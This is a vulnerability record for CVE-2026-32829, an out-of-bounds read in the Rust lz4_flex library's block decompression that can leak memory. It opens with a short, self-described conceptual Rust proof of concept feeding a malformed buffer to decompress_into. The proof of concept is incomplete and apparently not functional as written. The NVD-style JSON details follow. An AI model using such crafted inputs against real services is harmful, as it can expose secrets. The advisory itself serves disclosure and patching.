CVE-2026-32829

// Conceptual PoC for CVE-2026-32829 // Demonstrates vulnerable usage of lz4_flex use lz4_flex::block::decompress_into; fn main() { // Malformed LZ4 block data designed to trigger out-of-bounds read // This payload requires specific crafting to produce a negative/large offset let malicious_input: Vec<u8> = vec![ 0x04, 0x22, 0x4d, 0x18, // Example Header 0x20, 0x00, 0x00, 0x00, // Literal length 0xFF, 0xFF, 0xFF, 0xFF, // Match offset (vulnerable point) // ... additional payload bytes ... ]; let mut dest = vec![0u8; 4096]; // Output buffer // Calling the vulnerable function // In affected versions, this reads past 'dest' based on the offset match decompress_into(&malicious_input, &mut dest) { Ok(size) => println!("Decompressed {} bytes. Potential memory leak occurred.", size), Err(e) => println!("Decompression failed: {:?}", e), } }

{"cve": {"id": "CVE-2026-32829", "sourceIdentifier": "[email protected]", "published": "2026-03-20T01:15:56.277", "lastModified": "2026-03-30T15:05:23.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "lz4_flex is a pure Rust implementation of LZ4 compression/decompression. In versions 0.11.5 and below, and 0.12.0, decompressing invalid LZ4 data can leak sensitive information from uninitialized memory or from previous decompression operations. The library fails to properly validate offset values during LZ4 \"match copy operations,\" allowing out-of-bounds reads from the output buffer. The block-based API functions (`decompress_into`, `decompress_into_with_dict`, and others when `safe-decode` is disabled) are affected, while all frame APIs are unaffected. The impact is potential exposure of sensitive data and secrets through crafted or malformed LZ4 input. This issue has been fixed in versions 0.11.6 and 0.12.1."}, {"lang": "es", "value": "lz4_flex es una implementación pura en Rust de compresión/descompresión LZ4. En las versiones 0.11.5 e inferiores, y 0.12.0, la descompresión de datos LZ4 no válidos puede filtrar información sensible de memoria no inicializada o de operaciones de descompresión anteriores. La biblioteca no valida correctamente los valores de desplazamiento durante las 'operaciones de copia de coincidencia' de LZ4, permitiendo lecturas fuera de límites del búfer de salida. Las funciones API basadas en bloques ('decompress_into', 'decompress_into_with_dict', y otras cuando 'safe-decode' está deshabilitado) se ven afectadas, mientras que todas las API de trama no se ven afectadas. El impacto es la exposición potencial de datos sensibles y secretos a través de entradas LZ4 manipuladas o malformadas. Este problema ha sido solucionado en las versiones 0.11.6 y 0.12.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-201"}, {"lang": "en", "value": "CWE-823"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pseitz:lz4_flex:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.11.6", "matchCriteriaId": "B9F4365E-174A-4CBB-9F03-34AEA5444DF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pseitz:lz4_flex:0.12.0:*:*:*:*:rust:*:*", "matchCriteriaId": "2A2078FA-C55A-49B1-933D-6D7B33BB5902"}]}]}], "references": [{"url": "https://github.com/PSeitz/lz4_flex/commit/055502ee5d297ecd6bf448ac91c055c7f6df9b6d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/PSeitz/lz4_flex/security/advisories/GHSA-vvp9-7p8x-rfvv", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://rustsec.org/advisories/RUSTSEC-2026-0041.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}